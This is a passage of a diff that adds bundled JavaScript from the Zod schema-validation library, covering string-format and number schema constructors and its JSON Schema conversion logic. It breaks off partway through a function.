@__NO_SIDE_EFFECTS__ +function _uuidv6(Class2, params) { + return new Class2({ + type: "string", + format: "uuid", + check: "string_format", + abort: false, + version: "v6", + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _uuidv7(Class2, params) { + return new Class2({ + type: "string", + format: "uuid", + check: "string_format", + abort: false, + version: "v7", + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _url(Class2, params) { + return new Class2({ + type: "string", + format: "url", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _emoji2(Class2, params) { + return new Class2({ + type: "string", + format: "emoji", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _nanoid(Class2, params) { + return new Class2({ + type: "string", + format: "nanoid", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _cuid(Class2, params) { + return new Class2({ + type: "string", + format: "cuid", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _cuid2(Class2, params) { + return new Class2({ + type: "string", + format: "cuid2", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _ulid(Class2, params) { + return new Class2({ + type: "string", + format: "ulid", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _xid(Class2, params) { + return new Class2({ + type: "string", + format: "xid", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _ksuid(Class2, params) { + return new Class2({ + type: "string", + format: "ksuid", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _ipv4(Class2, params) { + return new Class2({ + type: "string", + format: "ipv4", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _ipv6(Class2, params) { + return new Class2({ + type: "string", + format: "ipv6", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _mac(Class2, params) { + return new Class2({ + type: "string", + format: "mac", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _cidrv4(Class2, params) { + return new Class2({ + type: "string", + format: "cidrv4", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _cidrv6(Class2, params) { + return new Class2({ + type: "string", + format: "cidrv6", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _base64(Class2, params) { + return new Class2({ + type: "string", + format: "base64", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _base64url(Class2, params) { + return new Class2({ + type: "string", + format: "base64url", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _e164(Class2, params) { + return new Class2({ + type: "string", + format: "e164", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _jwt(Class2, params) { + return new Class2({ + type: "string", + format: "jwt", + check: "string_format", + abort: false, + ...normalizeParams(params) + }); +} +var TimePrecision = { + Any: null, + Minute: -1, + Second: 0, + Millisecond: 3, + Microsecond: 6 +}; +// @__NO_SIDE_EFFECTS__ +function _isoDateTime(Class2, params) { + return new Class2({ + type: "string", + format: "datetime", + check: "string_format", + offset: false, + local: false, + precision: null, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _isoDate(Class2, params) { + return new Class2({ + type: "string", + format: "date", + check: "string_format", + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _isoTime(Class2, params) { + return new Class2({ + type: "string", + format: "time", + check: "string_format", + precision: null, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _isoDuration(Class2, params) { + return new Class2({ + type: "string", + format: "duration", + check: "string_format", + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _number(Class2, params) { + return new Class2({ + type: "number", + checks: [], + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _coercedNumber(Class2, params) { + return new Class2({ + type: "number", + coerce: true, + checks: [], + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _int(Class2, params) { + return new Class2({ + type: "number", + check: "number_format", + abort: false, + format: "safeint", + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _float32(Class2, params) { + return new Class2({ + type: "number", + check: "number_format", + abort: false, + format: "float32", + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _float64(Class2, params) { + return new Class2({ + type: "number", + check: "number_format", + abort: false, + format: "float64", + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _int32(Class2, params) { + return new Class2({ + type: "number", + check: "number_format", + abort: false, + format: "int32", + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _uint32(Class2, params) { + return new Class2({ + type: "number", + check: "number_format", + abort: false, + format: "uint32", + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _boolean(Class2, params) { + return new Class2({ + type: "boolean", + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _coercedBoolean(Class2, params) { + return new Class2({ + type: "boolean", + coerce: true, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _bigint(Class2, params) { + return new Class2({ + type: "bigint", + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _coercedBigint(Class2, params) { + return new Class2({ + type: "bigint", + coerce: true, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _int64(Class2, params) { + return new Class2({ + type: "bigint", + check: "bigint_format", + abort: false, + format: "int64", + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _uint64(Class2, params) { + return new Class2({ + type: "bigint", + check: "bigint_format", + abort: false, + format: "uint64", + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _symbol(Class2, params) { + return new Class2({ + type: "symbol", + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _undefined2(Class2, params) { + return new Class2({ + type: "undefined", + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _null2(Class2, params) { + return new Class2({ + type: "null", + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _any(Class2) { + return new Class2({ + type: "any" + }); +} +// @__NO_SIDE_EFFECTS__ +function _unknown(Class2) { + return new Class2({ + type: "unknown" + }); +} +// @__NO_SIDE_EFFECTS__ +function _never(Class2, params) { + return new Class2({ + type: "never", + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _void(Class2, params) { + return new Class2({ + type: "void", + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _date(Class2, params) { + return new Class2({ + type: "date", + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _coercedDate(Class2, params) { + return new Class2({ + type: "date", + coerce: true, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _nan(Class2, params) { + return new Class2({ + type: "nan", + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _lt(value, params) { + return new $ZodCheckLessThan({ + check: "less_than", + ...normalizeParams(params), + value, + inclusive: false + }); +} +// @__NO_SIDE_EFFECTS__ +function _lte(value, params) { + return new $ZodCheckLessThan({ + check: "less_than", + ...normalizeParams(params), + value, + inclusive: true + }); +} +// @__NO_SIDE_EFFECTS__ +function _gt(value, params) { + return new $ZodCheckGreaterThan({ + check: "greater_than", + ...normalizeParams(params), + value, + inclusive: false + }); +} +// @__NO_SIDE_EFFECTS__ +function _gte(value, params) { + return new $ZodCheckGreaterThan({ + check: "greater_than", + ...normalizeParams(params), + value, + inclusive: true + }); +} +// @__NO_SIDE_EFFECTS__ +function _positive(params) { + return /* @__PURE__ */ _gt(0, params); +} +// @__NO_SIDE_EFFECTS__ +function _negative(params) { + return /* @__PURE__ */ _lt(0, params); +} +// @__NO_SIDE_EFFECTS__ +function _nonpositive(params) { + return /* @__PURE__ */ _lte(0, params); +} +// @__NO_SIDE_EFFECTS__ +function _nonnegative(params) { + return /* @__PURE__ */ _gte(0, params); +} +// @__NO_SIDE_EFFECTS__ +function _multipleOf(value, params) { + return new $ZodCheckMultipleOf({ + check: "multiple_of", + ...normalizeParams(params), + value + }); +} +// @__NO_SIDE_EFFECTS__ +function _maxSize(maximum, params) { + return new $ZodCheckMaxSize({ + check: "max_size", + ...normalizeParams(params), + maximum + }); +} +// @__NO_SIDE_EFFECTS__ +function _minSize(minimum, params) { + return new $ZodCheckMinSize({ + check: "min_size", + ...normalizeParams(params), + minimum + }); +} +// @__NO_SIDE_EFFECTS__ +function _size(size2, params) { + return new $ZodCheckSizeEquals({ + check: "size_equals", + ...normalizeParams(params), + size: size2 + }); +} +// @__NO_SIDE_EFFECTS__ +function _maxLength(maximum, params) { + const ch = new $ZodCheckMaxLength({ + check: "max_length", + ...normalizeParams(params), + maximum + }); + return ch; +} +// @__NO_SIDE_EFFECTS__ +function _minLength(minimum, params) { + return new $ZodCheckMinLength({ + check: "min_length", + ...normalizeParams(params), + minimum + }); +} +// @__NO_SIDE_EFFECTS__ +function _length(length, params) { + return new $ZodCheckLengthEquals({ + check: "length_equals", + ...normalizeParams(params), + length + }); +} +// @__NO_SIDE_EFFECTS__ +function _regex(pattern, params) { + return new $ZodCheckRegex({ + check: "string_format", + format: "regex", + ...normalizeParams(params), + pattern + }); +} +// @__NO_SIDE_EFFECTS__ +function _lowercase(params) { + return new $ZodCheckLowerCase({ + check: "string_format", + format: "lowercase", + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _uppercase(params) { + return new $ZodCheckUpperCase({ + check: "string_format", + format: "uppercase", + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _includes(includes, params) { + return new $ZodCheckIncludes({ + check: "string_format", + format: "includes", + ...normalizeParams(params), + includes + }); +} +// @__NO_SIDE_EFFECTS__ +function _startsWith(prefix, params) { + return new $ZodCheckStartsWith({ + check: "string_format", + format: "starts_with", + ...normalizeParams(params), + prefix + }); +} +// @__NO_SIDE_EFFECTS__ +function _endsWith(suffix, params) { + return new $ZodCheckEndsWith({ + check: "string_format", + format: "ends_with", + ...normalizeParams(params), + suffix + }); +} +// @__NO_SIDE_EFFECTS__ +function _property(property, schema, params) { + return new $ZodCheckProperty({ + check: "property", + property, + schema, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _mime(types2, params) { + return new $ZodCheckMimeType({ + check: "mime_type", + mime: types2, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _overwrite(tx) { + return new $ZodCheckOverwrite({ + check: "overwrite", + tx + }); +} +// @__NO_SIDE_EFFECTS__ +function _normalize(form) { + return /* @__PURE__ */ _overwrite((input) => input.normalize(form)); +} +// @__NO_SIDE_EFFECTS__ +function _trim() { + return /* @__PURE__ */ _overwrite((input) => input.trim()); +} +// @__NO_SIDE_EFFECTS__ +function _toLowerCase() { + return /* @__PURE__ */ _overwrite((input) => input.toLowerCase()); +} +// @__NO_SIDE_EFFECTS__ +function _toUpperCase() { + return /* @__PURE__ */ _overwrite((input) => input.toUpperCase()); +} +// @__NO_SIDE_EFFECTS__ +function _slugify() { + return /* @__PURE__ */ _overwrite((input) => slugify(input)); +} +// @__NO_SIDE_EFFECTS__ +function _array(Class2, element, params) { + return new Class2({ + type: "array", + element, + // get element() { + // return element; + // }, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _union(Class2, options, params) { + return new Class2({ + type: "union", + options, + ...normalizeParams(params) + }); +} +function _xor(Class2, options, params) { + return new Class2({ + type: "union", + options, + inclusive: false, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _discriminatedUnion(Class2, discriminator, options, params) { + return new Class2({ + type: "union", + options, + discriminator, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _intersection(Class2, left, right) { + return new Class2({ + type: "intersection", + left, + right + }); +} +// @__NO_SIDE_EFFECTS__ +function _tuple(Class2, items, _paramsOrRest, _params) { + const hasRest = _paramsOrRest instanceof $ZodType; + const params = hasRest ? _params : _paramsOrRest; + const rest = hasRest ? _paramsOrRest : null; + return new Class2({ + type: "tuple", + items, + rest, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _record(Class2, keyType, valueType, params) { + return new Class2({ + type: "record", + keyType, + valueType, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _map(Class2, keyType, valueType, params) { + return new Class2({ + type: "map", + keyType, + valueType, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _set(Class2, valueType, params) { + return new Class2({ + type: "set", + valueType, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _enum(Class2, values2, params) { + const entries = Array.isArray(values2) ? Object.fromEntries(values2.map((v) => [v, v])) : values2; + return new Class2({ + type: "enum", + entries, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _nativeEnum(Class2, entries, params) { + return new Class2({ + type: "enum", + entries, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _literal(Class2, value, params) { + return new Class2({ + type: "literal", + values: Array.isArray(value) ? value : [value], + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _file(Class2, params) { + return new Class2({ + type: "file", + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _transform(Class2, fn) { + return new Class2({ + type: "transform", + transform: fn + }); +} +// @__NO_SIDE_EFFECTS__ +function _optional(Class2, innerType) { + return new Class2({ + type: "optional", + innerType + }); +} +// @__NO_SIDE_EFFECTS__ +function _nullable(Class2, innerType) { + return new Class2({ + type: "nullable", + innerType + }); +} +// @__NO_SIDE_EFFECTS__ +function _default(Class2, innerType, defaultValue) { + return new Class2({ + type: "default", + innerType, + get defaultValue() { + return typeof defaultValue === "function" ? defaultValue() : shallowClone(defaultValue); + } + }); +} +// @__NO_SIDE_EFFECTS__ +function _nonoptional(Class2, innerType, params) { + return new Class2({ + type: "nonoptional", + innerType, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _success(Class2, innerType) { + return new Class2({ + type: "success", + innerType + }); +} +// @__NO_SIDE_EFFECTS__ +function _catch(Class2, innerType, catchValue) { + return new Class2({ + type: "catch", + innerType, + catchValue: typeof catchValue === "function" ? catchValue : () => catchValue + }); +} +// @__NO_SIDE_EFFECTS__ +function _pipe(Class2, in_, out) { + return new Class2({ + type: "pipe", + in: in_, + out + }); +} +// @__NO_SIDE_EFFECTS__ +function _readonly(Class2, innerType) { + return new Class2({ + type: "readonly", + innerType + }); +} +// @__NO_SIDE_EFFECTS__ +function _templateLiteral(Class2, parts, params) { + return new Class2({ + type: "template_literal", + parts, + ...normalizeParams(params) + }); +} +// @__NO_SIDE_EFFECTS__ +function _lazy(Class2, getter) { + return new Class2({ + type: "lazy", + getter + }); +} +// @__NO_SIDE_EFFECTS__ +function _promise(Class2, innerType) { + return new Class2({ + type: "promise", + innerType + }); +} +// @__NO_SIDE_EFFECTS__ +function _custom(Class2, fn, _params) { + const norm = normalizeParams(_params); + norm.abort ?? (norm.abort = true); + const schema = new Class2({ + type: "custom", + check: "custom", + fn, + ...norm + }); + return schema; +} +// @__NO_SIDE_EFFECTS__ +function _refine(Class2, fn, _params) { + const schema = new Class2({ + type: "custom", + check: "custom", + fn, + ...normalizeParams(_params) + }); + return schema; +} +// @__NO_SIDE_EFFECTS__ +function _superRefine(fn, params) { + const ch = /* @__PURE__ */ _check((payload) => { + payload.addIssue = (issue2) => { + if (typeof issue2 === "string") { + payload.issues.push(issue(issue2, payload.value, ch._zod.def)); + } else { + const _issue = issue2; + if (_issue.fatal) + _issue.continue = false; + _issue.code ?? (_issue.code = "custom"); + _issue.input ?? (_issue.input = payload.value); + _issue.inst ?? (_issue.inst = ch); + _issue.continue ?? (_issue.continue = !ch._zod.def.abort); + payload.issues.push(issue(_issue)); + } + }; + return fn(payload.value, payload); + }, params); + return ch; +} +// @__NO_SIDE_EFFECTS__ +function _check(fn, params) { + const ch = new $ZodCheck({ + check: "custom", + ...normalizeParams(params) + }); + ch._zod.check = fn; + return ch; +} +// @__NO_SIDE_EFFECTS__ +function describe(description) { + const ch = new $ZodCheck({ check: "describe" }); + ch._zod.onattach = [ + (inst) => { + const existing = globalRegistry.get(inst) ?? {}; + globalRegistry.add(inst, { ...existing, description }); + } + ]; + ch._zod.check = () => { + }; + return ch; +} +// @__NO_SIDE_EFFECTS__ +function meta(metadata) { + const ch = new $ZodCheck({ check: "meta" }); + ch._zod.onattach = [ + (inst) => { + const existing = globalRegistry.get(inst) ?? {}; + globalRegistry.add(inst, { ...existing, ...metadata }); + } + ]; + ch._zod.check = () => { + }; + return ch; +} +// @__NO_SIDE_EFFECTS__ +function _stringbool(Classes, _params) { + const params = normalizeParams(_params); + let truthyArray = params.truthy ?? ["true", "1", "yes", "on", "y", "enabled"]; + let falsyArray = params.falsy ?? ["false", "0", "no", "off", "n", "disabled"]; + if (params.case !== "sensitive") { + truthyArray = truthyArray.map((v) => typeof v === "string" ? v.toLowerCase() : v); + falsyArray = falsyArray.map((v) => typeof v === "string" ? v.toLowerCase() : v); + } + const truthySet = new Set(truthyArray); + const falsySet = new Set(falsyArray); + const _Codec = Classes.Codec ?? $ZodCodec; + const _Boolean = Classes.Boolean ?? $ZodBoolean; + const _String = Classes.String ?? $ZodString; + const stringSchema = new _String({ type: "string", error: params.error }); + const booleanSchema = new _Boolean({ type: "boolean", error: params.error }); + const codec2 = new _Codec({ + type: "pipe", + in: stringSchema, + out: booleanSchema, + transform: (input, payload) => { + let data = input; + if (params.case !== "sensitive") + data = data.toLowerCase(); + if (truthySet.has(data)) { + return true; + } else if (falsySet.has(data)) { + return false; + } else { + payload.issues.push({ + code: "invalid_value", + expected: "stringbool", + values: [...truthySet, ...falsySet], + input: payload.value, + inst: codec2, + continue: false + }); + return {}; + } + }, + reverseTransform: (input, _payload) => { + if (input === true) { + return truthyArray[0] || "true"; + } else { + return falsyArray[0] || "false"; + } + }, + error: params.error + }); + return codec2; +} +// @__NO_SIDE_EFFECTS__ +function _stringFormat(Class2, format, fnOrRegex, _params = {}) { + const params = normalizeParams(_params); + const def = { + ...normalizeParams(_params), + check: "string_format", + type: "string", + format, + fn: typeof fnOrRegex === "function" ? fnOrRegex : (val) => fnOrRegex.test(val), + ...params + }; + if (fnOrRegex instanceof RegExp) { + def.pattern = fnOrRegex; + } + const inst = new Class2(def); + return inst; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/to-json-schema.js +function initializeContext(params) { + let target = params?.target ?? "draft-2020-12"; + if (target === "draft-4") + target = "draft-04"; + if (target === "draft-7") + target = "draft-07"; + return { + processors: params.processors ?? {}, + metadataRegistry: params?.metadata ?? globalRegistry, + target, + unrepresentable: params?.unrepresentable ?? "throw", + override: params?.override ?? (() => { + }), + io: params?.io ?? "output", + counter: 0, + seen: /* @__PURE__ */ new Map(), + cycles: params?.cycles ?? "ref", + reused: params?.reused ?? "inline", + external: params?.external ?? void 0 + }; +} +function process2(schema, ctx, _params = { path: [], schemaPath: [] }) { + var _a3; + const def = schema._zod.def; + const seen = ctx.seen.get(schema); + if (seen) { + seen.count++; + const isCycle = _params.schemaPath.includes(schema); + if (isCycle) { + seen.cycle = _params.path; + } + return seen.schema; + } + const result = { schema: {}, count: 1, cycle: void 0, path: _params.path }; + ctx.seen.set(schema, result); + const overrideSchema = schema._zod.toJSONSchema?.(); + if (overrideSchema) { + result.schema = overrideSchema; + } else { + const params = { + ..._params, + schemaPath: [..._params.schemaPath, schema], + path: _params.path + }; + if (schema._zod.processJSONSchema) { + schema._zod.processJSONSchema(ctx, result.schema, params); + } else { + const _json = result.schema; + const processor = ctx.processors[def.type]; + if (!processor) { + throw new Error(`[toJSONSchema]: Non-representable type encountered: ${def.type}`); + } + processor(schema, ctx, _json, params); + } + const parent = schema._zod.parent; + if (parent) { + if (!result.ref) + result.ref = parent; + process2(parent, ctx, params); + ctx.seen.get(parent).isParent = true; + } + } + const meta3 = ctx.metadataRegistry.get(schema); + if (meta3) + Object.assign(result.schema, meta3); + if (ctx.io === "input" && isTransforming(schema)) { + delete result.schema.examples; + delete result.schema.default; + } + if (ctx.io === "input" && "_prefault" in result.schema) + (_a3 = result.schema).default ?? (_a3.default = result.schema._prefault); + delete result.schema._prefault; + const _result = ctx.seen.get(schema); + return _result.schema; +} +function extractDefs(ctx, schema) { + const root = ctx.seen.get(schema); + if (!root) + throw new Error("Unprocessed schema. This is a bug in Zod."); + const idToSchema = /* @__PURE__ */ new Map(); + for (const entry of ctx.seen.entries()) { + const id = ctx.metadataRegistry.get(entry[0])?.id; + if (id) { + const existing = idToSchema.get(id); + if (existing && existing !== entry[0]) { + throw new Error(`Duplicate schema id "${id}" detected during JSON Schema conversion. Two different schemas cannot share the same id when converted together.`); + } + idToSchema.set(id, entry[0]); + } + } + const makeURI = (entry) => { + const defsSegment = ctx.target === "draft-2020-12" ? "$defs" : "definitions"; + if (ctx.external) { + const externalId = ctx.external.registry.get(entry[0])?.id; + const uriGenerator = ctx.external.uri ?? ((id2) => id2); + if (externalId) { + return { ref: uriGenerator(externalId) }; + } + const id = entry[1].defId ?? entry[1].schema.id ?? `schema${ctx.counter++}`; + entry[1].defId = id; + return { defId: id, ref: `${uriGenerator("__shared")}#/${defsSegment}/${id}` }; + } + if (entry[1] === root) { + return { ref: "#" }; + } + const uriPrefix = `#`; + const defUriPrefix = `${uriPrefix}/${defsSegment}/`; + const defId = entry[1].schema.id ?? `__schema${ctx.counter++}`; + return { defId, ref: defUriPrefix + defId }; + }; + const extractToDef = (entry) => { + if (entry[1].schema.$ref) { + return; + } + const seen = entry[1]; + const { ref, defId } = makeURI(entry); + seen.def = { ...seen.schema }; + if (defId) + seen.defId = defId; + const schema2 = seen.schema; + for (const key in schema2) { + delete schema2[key]; + } + schema2.$ref = ref; + }; + if (ctx.cycles === "throw") { + for (const entry of ctx.seen.entries()) { + const seen = entry[1]; + if (seen.cycle) { + throw new Error(`Cycle detected: #/${seen.cycle?.join("/")}/ + +Set the \`cycles\` parameter to \`"ref"\` to resolve cyclical schemas with defs.`); + } + } + } + for (const entry of ctx.seen.entries()) { + const seen = entry[1]; + if (schema === entry[0]) { + extractToDef(entry); + continue; + } + if (ctx.external) { + const ext = ctx.external.registry.get(entry[0])?.id; + if (schema !== entry[0] && ext) { + extractToDef(entry); + continue; + } + } + const id = ctx.metadataRegistry.get(entry[0])?.id; + if (id) { + extractToDef(entry); + continue; + } + if (seen.cycle) { + extractToDef(entry); + continue; + } + if (seen.count > 1) { + if (ctx.reused === "ref") { + extractToDef(entry); + continue; + } + } + } +} +function finalize(ctx, schema) { + const root = ctx.seen.get(schema); + if (!root) + throw new Error("Unprocessed schema. This is a bug in Zod."); + const flattenRef = (zodSchema) => { + const seen = ctx.seen.get(zodSchema); + if (seen.ref === null) + return; + const schema2 = seen.def ?? seen.schema; + const _cached = { ...schema2 }; + const ref = seen.ref; + seen.ref = null; + if (ref) { + flattenRef(ref); + const refSeen = ctx.seen.get(ref); + const refSchema = refSeen.schema; + if (refSchema.$ref && (ctx.target === "draft-07" || ctx.target === "draft-04" || ctx.target === "openapi-3.0")) { + schema2.allOf = schema2.allOf ?? []; + schema2.allOf.push(refSchema); + } else { + Object.assign(schema2, refSchema); + } + Object.assign(schema2, _cached); + const isParentRef = zodSchema._zod.parent === ref; + if (isParentRef) { + for (const key in schema2) { + if (key === "$ref" || key === "allOf") + continue; + if (!(key in _cached)) { + delete schema2[key]; + } + } + } + if (refSchema.$ref && refSeen.def) { + for (const key in schema2) { + if (key === "$ref" || key === "allOf") + continue; + if (key in refSeen.def && JSON.stringify(schema2[key]) === JSON.stringify(refSeen.def[key])) { + delete schema2[key]; + } + } + } + } + const parent = zodSchema._zod.parent; + if (parent && parent !== ref) { + flattenRef(parent); + const parentSeen = ctx.seen.get(parent); + if (parentSeen?.schema.$ref) { + schema2.$ref = parentSeen.schema.$ref; + if (parentSeen.def) { + for (const key in schema2) { + if (key === "$ref" || key === "allOf") + continue; + if (key in parentSeen.def && JSON.stringify(schema2[key]) === JSON.stringify(parentSeen.def[key])) { + delete schema2[key]; + } + } + } + } + } + ctx.override({ + zodSchema, + jsonSchema: schema2, + path: seen.path ?? [] + }); + }; + for (const entry of [...ctx.seen.entries()].reverse()) { + flattenRef(entry[0]); + } + const result = {}; + if (ctx.target === "draft-2020-12") { + result.$schema = "https://json-schema.org/draft/2020-12/schema"; + } else if (ctx.target === "draft-07") { + result.$schema = "http://json-schema.org/draft-07/schema#"; + } else if (ctx.target === "draft-04") { + result.$schema = "http://json-schema.org/draft-04/schema#"; + } else if (ctx.target === "openapi-3.0") { + } else { + } + if (ctx.external?.uri) { + const id = ctx.external.registry.get(schema)?.id; + if (!id) + throw new Error("Schema is missing an `id` property"); + result.$id = ctx.external.uri(id); + } + Object.assign(result, root.def ?? root.schema); + const rootMetaId = ctx.metadataRegistry.get(schema)?.id; + if (rootMetaId !== void 0 && result.id === rootMetaId) + delete result.id; + const defs = ctx.external?.defs ?? {}; + for (const entry of ctx.seen.entries()) { + const seen = entry[1]; + if (seen.def && seen.defId) { + if (seen.def.id === seen.defId) + delete seen.def.id; + defs[seen.defId] = seen.def; + } + } + if (ctx.external) { + } else { + if (Object.keys(defs).length > 0) { + if (ctx.target === "draft-2020-12") { + result.$defs = defs; + } else { + result.definitions = defs; + } + } + } + try { + const finalized = JSON.parse(JSON.stringify(result)); + Object.defineProperty(finalized, "~standard", { + value: { + ...schema["~standard"], + jsonSchema: { + input: createStandardJSONSchemaMethod(schema, "input", ctx.processors), + output: createStandardJSONSchemaMethod(schema, "output", ctx.processors) + } + }, + enumerable: false, + writable: false + }); + return finalized; + } catch (_err) { + throw new Error("Error converting schema to JSON."); + } +} +function isTransforming(_schema, _ctx) { + const ctx = _ctx ?? { seen: /* @__PURE__ */ new Set() }; + if (ctx.seen.has(_schema)) + return false; + ctx.seen.add(_schema); + const def = _schema._zod.def; + if (def.type === "transform") + return true; + if (def.type === "array") + return isTransforming(def.element, ctx); + if (def.type === "set") + return isTransforming(def.valueType, ctx); + if (def.type === "lazy") + return isTransforming(def.getter(), ctx); + if (def.type === "promise" || def.type === "optional" || def.type === "nonoptional" || def.type === "nullable" || def.type === "readonly" || def.type === "default" || def.type === "prefault") { + return isTransforming(def.innerType, ctx); + } + if (def.type === "intersection") { + return isTransforming(def.left, ctx) || isTransforming(def.right, ctx); + } + if (def.type === "record" || def.type === "map") { + return isTransforming(def.keyType, ctx) || isTransforming(def.valueType, ctx); + } + if (def.type === "pipe") { + if (_schema._zod.traits.has("$ZodCodec")) + return true; + return isTransforming(def.in, ctx) || isTransforming(def.out, ctx); + } + if (def.type === "object") { + for (const key in def.shape) { + if (isTransforming(def.shape[key], ctx)) + return true; + } + return false; + } + if (def.type === "union") { + for (const option of def.options) { + if (isTransforming(option, ctx)) + return true; + } + return false; + } + if (def.type === "tuple") { + for (const item of def.items) { + if (isTransforming(item, ctx)) + return true; + } + if (def.rest && isTransforming(def.rest, ctx)) + return true; + return false; + } + return false; +} +var createToJSONSchemaMethod = (schema, processors = {}) => (params) => { + const ctx = initializeContext({ ...params, processors }); + process2(schema, ctx); + extractDefs(ctx, schema); + return finalize(ctx, schema); +}; +var createStandardJSONSchemaMethod = (schema, io, processors = {}) => (params) => { + const { libraryOptions, target } = params ?? {}; + const ctx = initializeContext({ ...libraryOptions ?? {}, target, io, processors }); + process2(schema, ctx); + extractDefs(ctx, schema); + return finalize(ctx, schema); +}; + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema-processors.js +var formatMap = { + guid: "uuid", + url: "uri", + datetime: "date-time", + json_string: "json-string", + regex: "" + // do not set +}; +var stringProcessor = (schema, ctx, _json, _params) => { + const json3 = _json; + json3.type = "string"; + const { minimum, maximum, format, patterns, contentEncoding } = schema._zod.bag; + if (typeof minimum === "number") + json3.minLength = minimum; + if (typeof maximum === "number") + json3.maxLength = maximum; + if (format) { + json3.format = formatMap[format] ?? format; + if (json3.format === "") + delete json3.format; + if (format === "time") { + delete json3.format; + } + } + if (contentEncoding) + json3.contentEncoding = contentEncoding; + if (patterns && patterns.size > 0) { + const regexes = [...patterns]; + if (regexes.length === 1) + json3.pattern = regexes[0].source; + else if (regexes.length > 1) { + json3.allOf = [ + ...regexes.map((regex) => ({ + ...ctx.target === "draft-07" || ctx.target === "draft-04" || ctx.target === "openapi-3.0" ? { type: "string" } : {}, + pattern: regex.source + })) + ]; + } + } +}; +var numberProcessor = (schema, ctx, _json, _params) => { + const json3 = _json; + const { minimum, maximum, format, multipleOf, exclusiveMaximum, exclusiveMinimum } = schema._zod.bag; + if (typeof format === "string" && format.includes("int")) + json3.type = "integer"; + else + json3.type = "number"; + const exMin = typeof exclusiveMinimum === "number" && exclusiveMinimum >= (minimum ?? Number.NEGATIVE_INFINITY); + const exMax = typeof exclusiveMaximum === "number" && exclusiveMaximum <= (maximum ?? Number.POSITIVE_INFINITY); + const legacy = ctx.target === "draft-04" || ctx.target === "openapi-3.0"; + if (exMin) { + if (legacy) { + 